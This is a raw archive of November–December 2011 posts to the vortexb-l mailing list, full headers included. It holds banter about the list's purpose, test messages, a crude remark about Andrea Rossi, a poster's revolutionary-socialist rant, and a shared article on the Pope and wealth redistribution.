http://subkeys.pgp.net X-GPG-Keynumber: 0xB862B533 X-GPG-Key: http://users.resist.ca/~grok/grouchomarx.gpg X-GPG-Fingerprint: 30D9 E911 F97F B9D0 E308 7DB5 07D6 D72C B862 B533 X-Echelon: Intiso, 57mm, cavitation, SISDE, mania User-Agent: Mutt/1.5.20 (2009-06-14) Resent-Message-ID: <3HpO6B.A.FYB.vPcvOB@ultra5.eskimo.com> Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4457 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 698 As the smoke cleared, Terry Blanton mounted the barricade and roared out: > Hey, if you really want to get down and dirty, you can post whatever > you wish here: > > vortexb-l@eskimo.com > > It's open for all types of eCat fights, religion or whatever. > Vortex-l rules do not apply. However, nothing is archived either. > Your membership in this forum comes free with your Vort membership. > > Meeoooww! Psssssst! > > T Andrea Rossi is a pussy. -- grok. -- The Financiers & Banksters have looted untold trillions of our future earnings. Their bureaucratic police & military goons are here to make us all pay for it. Forever. Well FORGET THAT. Let's get it *ALL* back from them -- and more. **Socialist revolution NOW!!** Build the North America-wide General Strike. TODO el poder a los consejos y las comunas. TOUT le pouvoir aux conseils et communes. ALL power to the councils and communes. And beware the 'bait & switch' fraud: "Social Justice" is NOT *Socialism*... From vortexb-l-request@eskimo.com Fri Nov 11 16:56:14 2011 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id pAC0uCrM006379; Fri, 11 Nov 2011 16:56:12 -0800 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id pAC0uBVI006373; Fri, 11 Nov 2011 16:56:11 -0800 Resent-Date: Fri, 11 Nov 2011 16:56:11 -0800 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Date: Fri, 11 Nov 2011 16:53:35 -0800 From: grok To: vortexb-l@eskimo.com Subject: Re: [VoB]:A Reminder Message-ID: <20111112005335.GE20802@shell.resist.ca> Reply-To: grok@resist.ca References: MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Disposition: inline Content-Transfer-Encoding: 8bit In-Reply-To: X-Operating-System: Linux i686 X-GPG-Keyserver: http://subkeys.pgp.net X-GPG-Keynumber: 0xB862B533 X-GPG-Key: http://users.resist.ca/~grok/grouchomarx.gpg X-GPG-Fingerprint: 30D9 E911 F97F B9D0 E308 7DB5 07D6 D72C B862 B533 X-Echelon: Intiso, 57mm, cavitation, SISDE, mania User-Agent: Mutt/1.5.20 (2009-06-14) Resent-Message-ID: Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4458 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 699 As the smoke cleared, Terry Blanton mounted the barricade and roared out: > Note the 'b' in 'vortexb'. > > Warning, there are people who have been banned from the normal vortex > list lurking on vortexb (hi grok!). > > T You seem to think being banned is a BAD thing. -- grok. > On Fri, Nov 11, 2011 at 7:03 PM, Terry Blanton wrote: > > Hey, if you really want to get down and dirty, you can post whatever > > you wish here: > > > > vortexb-l@eskimo.com > > > > It's open for all types of eCat fights, religion or whatever. > > Vortex-l rules do not apply.  However, nothing is archived either. > > Your membership in this forum comes free with your Vort membership. > > > > Meeoooww!  Psssssst! > > > > T > > > > > -- The Financiers & Banksters have looted untold trillions of our future earnings. Their bureaucratic police & military goons are here to make us all pay for it. Forever. Well FORGET THAT. Let's get it *ALL* back from them -- and more. **Socialist revolution NOW!!** Build the North America-wide General Strike. TODO el poder a los consejos y las comunas. TOUT le pouvoir aux conseils et communes. ALL power to the councils and communes. And beware the 'bait & switch' fraud: "Social Justice" is NOT *Socialism*... From vortexb-l-request@eskimo.com Fri Nov 11 16:59:57 2011 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id pAC0xsO5007819; Fri, 11 Nov 2011 16:59:54 -0800 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id pAC0xsUA007811; Fri, 11 Nov 2011 16:59:54 -0800 Resent-Date: Fri, 11 Nov 2011 16:59:54 -0800 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :content-type:content-transfer-encoding; bh=AzWLv0J2ZjZ5HsXaLQClmzNgYDf+8Sgde/xF3RLEzf0=; b=Gp++GTtet+vxJf5GRtnBh1U6+vHRM9puWzhR9iyKhYq4h7hg+xgO4FG9Dg/BzLU+0n L7Xc3jEfODxAggtbVNunL/mRfRDghQPz/o3pgH88JfDo36qfcZAu0eWhJrFVL3pVOesD XlYNjHqz/Zn3wzlCnaybZMC+W4+d3BPNMXYZk= MIME-Version: 1.0 In-Reply-To: References: Date: Fri, 11 Nov 2011 19:32:46 -0500 Message-ID: Subject: Re: [VoB]:A Reminder From: Terry Blanton To: vortexb-l@eskimo.com Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4459 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 700 http://www.imdb.com/title/tt0072431/ On Fri, Nov 11, 2011 at 7:32 PM, Terry Blanton wrote: > A-B normal =3D abnormal, from Young Frankenstein. > > T > > On Fri, Nov 11, 2011 at 7:31 PM, Terry Blanton wrote= : >> You can unsubscribe by sending a null message with 'unsubscribe' in >> the subject header to vortexb-l-request@eskimo.com. >> >> Note that many in the normal vortex list have already unsubscribed >> from the A-B normal vortexb list. >> >> T >> >> On Fri, Nov 11, 2011 at 7:03 PM, Terry Blanton wrot= e: >>> Hey, if you really want to get down and dirty, you can post whatever >>> you wish here: >>> >>> vortexb-l@eskimo.com >>> >>> It's open for all types of eCat fights, religion or whatever. >>> Vortex-l rules do not apply. =A0However, nothing is archived either. >>> Your membership in this forum comes free with your Vort membership. >>> >>> Meeoooww! =A0Psssssst! >>> >>> T >>> >>> >> > From vortexb-l-request@eskimo.com Fri Nov 11 18:29:45 2011 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id pAC2Tcvi007961; Fri, 11 Nov 2011 18:29:38 -0800 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id pAC2TbQe007957; Fri, 11 Nov 2011 18:29:37 -0800 Resent-Date: Fri, 11 Nov 2011 18:29:37 -0800 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f Date: Fri, 11 Nov 2011 18:27:01 -0800 From: grok To: vortexb-l@eskimo.com Subject: Re: [VoB]:A Reminder Message-ID: <20111112022701.GF20802@shell.resist.ca> Reply-To: grok@resist.ca References: <20111112005229.GD20802@shell.resist.ca> MIME-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Disposition: inline In-Reply-To: X-Operating-System: Linux i686 X-GPG-Keyserver: http://subkeys.pgp.net X-GPG-Keynumber: 0xB862B533 X-GPG-Key: http://users.resist.ca/~grok/grouchomarx.gpg X-GPG-Fingerprint: 30D9 E911 F97F B9D0 E308 7DB5 07D6 D72C B862 B533 X-Echelon: Intiso, 57mm, cavitation, SISDE, mania User-Agent: Mutt/1.5.20 (2009-06-14) Resent-Message-ID: Resent-From: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4460 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 701 As the smoke cleared, Terry Blanton mounted the barricade and roared out: > On Fri, Nov 11, 2011 at 7:52 PM, grok wrote: > > > Andrea Rossi is a pussy. > > > > > > > > -- grok. > > Are you still Occupying Wall Street?' > > T People like me are far beyond that 'middle-class' symbolic, reformist protest shite: I actually put my *life* on the line today challenging the NATO militarist war-crime against Libya (among others). "#Occupy" is actually all about heading-off REAL classwar -- and eventually channeling futile circle-jerk 'protest' into votes for the Democratic Party. Or whatever replaces it in the bourgeois 'Dog & Pony Show'... People like me OTOH understand the necessity of ending the oligarchic capitalist order outright -- not least for Humanity to avoid the otherwise coming WWIII. So this would be why I reject the notion of seeking development of OU under capitalist suzerainty. -- grok. -- The Financiers & Banksters have looted untold trillions of our future earnings. Their bureaucratic police & military goons are here to make us all pay for it. Forever. Well FORGET THAT. Let's get it *ALL* back from them -- and more. **Socialist revolution NOW!!** Build the North America-wide General Strike. TODO el poder a los consejos y las comunas. TOUT le pouvoir aux conseils et communes. ALL power to the councils and communes. And beware the 'bait & switch' fraud: "Social Justice" is NOT *Socialism*... From vortexb-l-request@eskimo.com Thu Nov 17 05:09:35 2011 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id pAHD9W4g023818; Thu, 17 Nov 2011 05:09:32 -0800 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id pAHD9Lu0023661; Thu, 17 Nov 2011 05:09:21 -0800 Resent-Date: Thu, 17 Nov 2011 05:09:21 -0800 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f X-Virus-Scanned: amavisd-new at proxyz13.mailnet.ptd.net From: "Jeff Fink" To: References: Subject: RE: [VoB]:Is There Anyone In There Date: Thu, 17 Nov 2011 08:06:37 -0500 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Mailer: Microsoft Office Outlook 11 thread-index: AcyJAmx9Wz8ALth2T32u/lgh/7lKdgcJij/Q X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.6109 In-Reply-To: Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4461 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 702 Still here. Wasn't sure I wanted to get back in the boxing ring, but yesterday was a slow day. Jeff -----Original Message----- From: Terry Blanton [mailto:hohlraum@gmail.com] Sent: Wednesday, October 12, 2011 12:57 PM To: vortexb-l@eskimo.com Subject: [VoB]:Is There Anyone In There Just nod if you can hear me. Is there anyone at home? T From vortexb-l-request@eskimo.com Thu Nov 17 05:10:15 2011 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id pAHDAD7U015540; Thu, 17 Nov 2011 05:10:13 -0800 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id pAHDA16u015507; Thu, 17 Nov 2011 05:10:01 -0800 Resent-Date: Thu, 17 Nov 2011 05:10:01 -0800 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f X-Virus-Scanned: amavisd-new at proxyz13.mailnet.ptd.net From: "Jeff Fink" To: Date: Thu, 17 Nov 2011 08:07:20 -0500 Message-ID: MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_00C0_01CCA4FF.EE349160" X-Mailer: Microsoft Office Outlook 11 thread-index: AcylKdbKdB7H6OwMTWC1dzMVOnKhsg== X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.6109 Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4462 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Subject: [VoB]:subscribe Status: O X-Status: X-Keywords: X-UID: 703 This is a multi-part message in MIME format. ------=_NextPart_000_00C0_01CCA4FF.EE349160 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit ------=_NextPart_000_00C0_01CCA4FF.EE349160 Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: quoted-printable

 

 

 

 

------=_NextPart_000_00C0_01CCA4FF.EE349160-- From vortexb-l-request@eskimo.com Thu Nov 17 05:48:02 2011 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id pAHDlxvF011529; Thu, 17 Nov 2011 05:47:59 -0800 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id pAHDls9L011501; Thu, 17 Nov 2011 05:47:54 -0800 Resent-Date: Thu, 17 Nov 2011 05:47:54 -0800 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f X-Virus-Scanned: amavisd-new at proxyz12.mailnet.ptd.net From: "Jeff Fink" To: "'vortex-l@eskimo.com'" Date: Thu, 17 Nov 2011 08:45:16 -0500 Message-ID: MIME-Version: 1.0 Content-Type: multipart/alternative; boundary="----=_NextPart_000_00C7_01CCA505.3B04EDA0" X-Mailer: Microsoft Office Outlook 11 thread-index: AcylLyOFfiAc918+RqiDYnjmh1m2gQ== X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.6109 Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4463 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Subject: [VoB]:subscribe Status: O X-Status: X-Keywords: X-UID: 704 This is a multi-part message in MIME format. ------=_NextPart_000_00C7_01CCA505.3B04EDA0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit ------=_NextPart_000_00C7_01CCA505.3B04EDA0 Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: quoted-printable

 

 

 

 

------=_NextPart_000_00C7_01CCA505.3B04EDA0-- From vortexb-l-request@eskimo.com Thu Nov 17 06:40:34 2011 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id pAHEeWPl010222; Thu, 17 Nov 2011 06:40:32 -0800 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id pAHEeVmn010203; Thu, 17 Nov 2011 06:40:31 -0800 Resent-Date: Thu, 17 Nov 2011 06:40:31 -0800 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :content-type; bh=tsiHbKj5XhurUINd+BZ0BB+o9OR0Oka6KZn67Db1sbE=; b=lWJzZExgQAt3wOVMN6HIzzhLUiUG6a8tKqRL1li7Dg/TVDwwCirOdHVNRWh0ERUnru Nhm+4vnMpU6PxXME+o7EW8iFK+6lTyTVvnyNq129yFW7864IssaBzDpn0BQFs71F2tIC fE2GEMb8rR/5shCr0zcu1pNljEul76EzGYSJo= MIME-Version: 1.0 In-Reply-To: References: Date: Thu, 17 Nov 2011 09:37:54 -0500 Message-ID: Subject: Re: [VoB]:subscribe From: Terry Blanton To: vortexb-l@eskimo.com Content-Type: text/plain; charset=ISO-8859-1 Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4464 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 705 Sent that to vortexb-l-request@eskimo.com T On Thu, Nov 17, 2011 at 8:45 AM, Jeff Fink wrote: > > > > > > > From vortexb-l-request@eskimo.com Fri Nov 18 05:04:51 2011 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id pAID4nWp003383; Fri, 18 Nov 2011 05:04:49 -0800 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id pAID4ilG003334; Fri, 18 Nov 2011 05:04:44 -0800 Resent-Date: Fri, 18 Nov 2011 05:04:44 -0800 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f X-Virus-Scanned: amavisd-new at proxyz14.mailnet.ptd.net From: "Jeff Fink" To: References: Date: Fri, 18 Nov 2011 08:02:05 -0500 Message-ID: <4811F1B9821C49F7A428396EFBAED06A@REVTEC1> MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Mailer: Microsoft Office Outlook 11 thread-index: AcylNpon3H0XyiBjTsuKp0F3tBwuNQAuhPkw X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.6109 In-Reply-To: Resent-Message-ID: <7YrheB.A.-z.sflxOB@ultra5.eskimo.com> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4465 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Subject: [VoB]:traffic Status: O X-Status: X-Keywords: X-UID: 706 I haven't seen a post on a real subject yet. Am I not plugged in properly, or is traffic that light? Over the past few years I have been writing essays on various controversial subjects. I would like to bounce some off you guys if that's alright. Is it best for the operation of vortexb to put these in the body of the email or make them an attachment? Jeff From vortexb-l-request@eskimo.com Fri Nov 18 05:28:16 2011 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id pAIDSEkD009679; Fri, 18 Nov 2011 05:28:14 -0800 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id pAIDSDEx009665; Fri, 18 Nov 2011 05:28:13 -0800 Resent-Date: Fri, 18 Nov 2011 05:28:13 -0800 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=mime-version:in-reply-to:references:date:message-id:subject:from:to :content-type:content-transfer-encoding; bh=QawyxkroF4HC8dDwpSVcAWHvr65aMhEMjTTq68f/opU=; b=YB/8MgCSvDPlqI+31R44RImNdU/L3Issw258SvcHTRRgsJf4KW4wWuMSqmPjFi3ZWX 8l/HOxCCR38/SqQmruXUVpAh67Ey5lr25aFUKH/eL89Uxk3JMN3rXdCvU7BLzGjMxbhT k7NurM18pYN3Dw9EU4Ff3yI3Icv3X5OxEFbNI= MIME-Version: 1.0 In-Reply-To: <4811F1B9821C49F7A428396EFBAED06A@REVTEC1> References: <4811F1B9821C49F7A428396EFBAED06A@REVTEC1> Date: Fri, 18 Nov 2011 08:25:36 -0500 Message-ID: Subject: Re: [VoB]:traffic From: Terry Blanton To: vortexb-l@eskimo.com Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4466 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 707 On Fri, Nov 18, 2011 at 8:02 AM, Jeff Fink wrote: > > I haven't seen a post on a real subject yet. =A0Am I not plugged in prope= rly, > or is traffic that light? > > Over the past few years I have been writing essays on various controversi= al > subjects. =A0I would like to bounce some off you guys if that's alright. = =A0Is > it best for the operation of vortexb to put these in the body of the emai= l > or make them an attachment? Either way; but, I think you're limited to 40 kbytes per mime encoded post. T From vortexb-l-request@eskimo.com Mon Dec 19 12:00:02 2011 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id pBJJxvPm020604; Mon, 19 Dec 2011 11:59:57 -0800 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id pBJJxceC020204; Mon, 19 Dec 2011 11:59:38 -0800 Resent-Date: Mon, 19 Dec 2011 11:59:38 -0800 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f X-IronPort-Anti-Spam-Filtered: true X-IronPort-Anti-Spam-Result: ApwEAPCV707O+Ihr/2dsb2JhbABDrGuBdAYBARYhV0lRBAfAMYhqgxoEiDaMR5JN X-IronPort-AV: E=Sophos;i="4.71,377,1320642000"; d="scan'208";a="153001725" Date: Mon, 19 Dec 2011 14:56:32 -0500 From: Vorl Bek To: vortexb-l@eskimo.com Message-Id: <20111219145632.3ec802a3.vorl.bek@antichef.com> X-Mailer: Sylpheed 3.1.0 (GTK+ 2.24.4; i686-pc-linux-gnu) Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4467 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Subject: [VoB]:test Status: O X-Status: X-Keywords: X-UID: 708 just testing From vortexb-l-request@eskimo.com Mon Dec 19 12:04:23 2011 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id pBJK4KCZ000875; Mon, 19 Dec 2011 12:04:20 -0800 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id pBJK4C04000856; Mon, 19 Dec 2011 12:04:12 -0800 Resent-Date: Mon, 19 Dec 2011 12:04:12 -0800 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=subject:references:from:content-type:x-mailer:in-reply-to :message-id:date:to:content-transfer-encoding:mime-version; bh=al09v5TH97grZsx+sNuY6nygNfEYEWhh03t+4cIsxxc=; b=oMDyJE3VDYep2tnr2wePR8uJG3Xy19F/CjBCi+kgZtIhI8wllegVv7OM3YYgj9G6u0 Bfjc6iEODYwPyPjV9FLe5HNZK4XinQl5d0YKqof2QCEjyiGiU2o79we5UoH8ULe/0YZR IwSZm7FJBd7xAvfg9vmpYvhRe+w4+Bi/GhwZA= Subject: Re: [VoB]:test References: <20111219145632.3ec802a3.vorl.bek@antichef.com> From: Charles Hope Content-Type: text/plain; charset=us-ascii X-Mailer: iPhone Mail (9A405) In-Reply-To: <20111219145632.3ec802a3.vorl.bek@antichef.com> Message-Id: <1DC9DD61-32D2-47D9-910C-540E66B45513@gmail.com> Date: Mon, 19 Dec 2011 15:01:02 -0500 To: "vortexb-l@eskimo.com" Content-Transfer-Encoding: 7bit Mime-Version: 1.0 (1.0) Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4468 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 709 Pong. On Dec 19, 2011, at 14:56, Vorl Bek wrote: > just testing > From vortexb-l-request@eskimo.com Mon Dec 19 14:50:10 2011 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id pBJMo6ld016740; Mon, 19 Dec 2011 14:50:06 -0800 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id pBJMo5Fn016715; Mon, 19 Dec 2011 14:50:05 -0800 Resent-Date: Mon, 19 Dec 2011 14:50:05 -0800 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f X-Authority-Analysis: v=1.1 cv=wN5/OdS/7hl3aRTPTViGy5XHc1tS8JMPaEhPXqaRdh8= c=1 sm=1 a=yUnIBFQkZM0A:10 a=kj9zAlcOel0A:10 a=t+194oyOKel6p+o+czWDVA==:17 a=pGLkceISAAAA:8 a=yTIk75XiAAAA:8 a=cq5XInVMAAAA:8 a=igUYiYssMd5PTyFUqAcA:9 a=CjuIK1q_8ugA:10 a=MSl-tDqOz04A:10 a=8PGfyiCYVrkA:10 a=JmanU6s_A0cA:10 a=t+194oyOKel6p+o+czWDVA==:117 From: "Mark Iverson-ZeroPoint" To: References: <20111219145632.3ec802a3.vorl.bek@antichef.com> <1DC9DD61-32D2-47D9-910C-540E66B45513@gmail.com> In-Reply-To: <1DC9DD61-32D2-47D9-910C-540E66B45513@gmail.com> Subject: RE: [VoB]:test Date: Mon, 19 Dec 2011 14:47:01 -0800 Message-ID: <00c801ccbea0$202e6ce0$608b46a0$@net> MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Mailer: Microsoft Office Outlook 12.0 Thread-Index: Acy+iPye0GF67bApQomTedoQVxWLnAAFvr4A Content-Language: en-us Resent-Message-ID: <1PsFwC.A.EFE.d-77OB@ultra6.eskimo.com> Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4469 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Status: O X-Status: X-Keywords: X-UID: 710 Vorl and Charles, I got both your test postings to VortexB... thank you! -m -----Original Message----- From: Charles Hope [mailto:lookslikeiwasright@gmail.com] Sent: Monday, December 19, 2011 12:01 PM To: vortexb-l@eskimo.com Subject: Re: [VoB]:test Pong. On Dec 19, 2011, at 14:56, Vorl Bek wrote: > just testing > From vortexb-l-request@eskimo.com Mon Dec 19 15:06:46 2011 Received: from ultra5.eskimo.com (localhost [127.0.0.1]) by ultra5.eskimo.com (8.14.3/8.14.3) with ESMTP id pBJN6hWW014821; Mon, 19 Dec 2011 15:06:43 -0800 Received: (from smartlst@localhost) by ultra5.eskimo.com (8.14.3/8.12.10/Submit) id pBJN6faD014795; Mon, 19 Dec 2011 15:06:41 -0800 Resent-Date: Mon, 19 Dec 2011 15:06:41 -0800 X-Authentication-Warning: ultra5.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=gamma; h=mime-version:date:message-id:subject:from:to:content-type; bh=yxDnLmzxpU5MqKxmkGI8+uluawMksT5Rx1Hybf9wz5c=; b=tO5aJAlEUHJVb9BPfFS/6SX5pYXqU9SKX3baGxLtZXZoljpb8FRC/4/pV065269OZh 0NCyZFtfpglXYqohFgNwYWubD9dd9+95BR6tcELJoq7kPvPTzf46oIJRed86FYF4GhJm htGrStG35ULYZtyD+PFvHFEWYz0SUqrWHuosw= MIME-Version: 1.0 Date: Mon, 19 Dec 2011 18:03:40 -0500 Message-ID: From: Terry Blanton To: vortexb-l@eskimo.com Content-Type: text/plain; charset=ISO-8859-1 Resent-Message-ID: Resent-From: vortexb-l@eskimo.com Reply-To: vortexb-l@eskimo.com X-Mailing-List: archive/latest/4470 X-Loop: vortexb-l@eskimo.com List-Post: List-Help: List-Subscribe: List-Unsubscribe: Precedence: list Resent-Sender: vortexb-l-request@eskimo.com Subject: [VoB]:Pope Calls For Redistribution of Wealth Status: O X-Status: X-Keywords: X-UID: 711 http://www.huffingtonpost.com/2011/12/16/pope-benedict-wealth-distribution_n_1154798.html By Francis X. Rocca Religion News Service VATICAN CITY (RNS) Noting a "rising sense of frustration" at the worldwide economic recession, Pope Benedict XVI said that a more just and peaceful world requires "adequate mechanisms for the redistribution of wealth." How about we start with the Vatican Bank and all those jewels on your hat? T From vortexb-l-request@eskimo.com Mon Dec 19 15:14:00 2011 Received: from ultra6.eskimo.com (localhost [127.0.0.1]) by ultra6.eskimo.com (8.14.2/8.14.3) with ESMTP id pBJNDv5g026991; Mon, 19 Dec 2011 15:13:57 -0800 Received: (from smartlst@localhost) by ultra6.eskimo.com (8.14.2/8.12.10/Submit) id pBJNDreJ026925; Mon, 19 Dec 2011 15:13:53 -0800 Resent-Date: Mon, 19 Dec 2011 15:13:53 -0800 X-Authentication-Warning: ultra6.eskimo.com: smartlst set sender to vortexb-l-request@eskimo.com using -f X-Authority-Analysis: v=1.1 cv=psWcb5N98119OaOi9bjyg15qVElTHlpKZyP+LUQnThs= c=1 sm=1 a=3N4tZIzscwgA:10 a=yUnIBFQkZM0A:10 a=kj9zAlcOel0A:10 a=t+194oyOKel6p+o+czWDVA==:17 a=pGLkceISAAAA:8 a=yTIk75XiAAAA:8 a=Bkk-FkfRAAAA:8 a=bBlvHEh18voHBfFTKwcA:9 a=CjuIK1q_8ugA:10 a=MSl-tDqOz04A:10 a=8PGfyiCYVrkA:10 a=t+194oyOKel6p+o+czWDVA==:117 From: "Mark Iverson-ZeroPoint" To: References: In-Reply-To: Subject: RE: [VoB]:Pope Calls For Redistribution of Wealth Date: Mon, 19 Dec 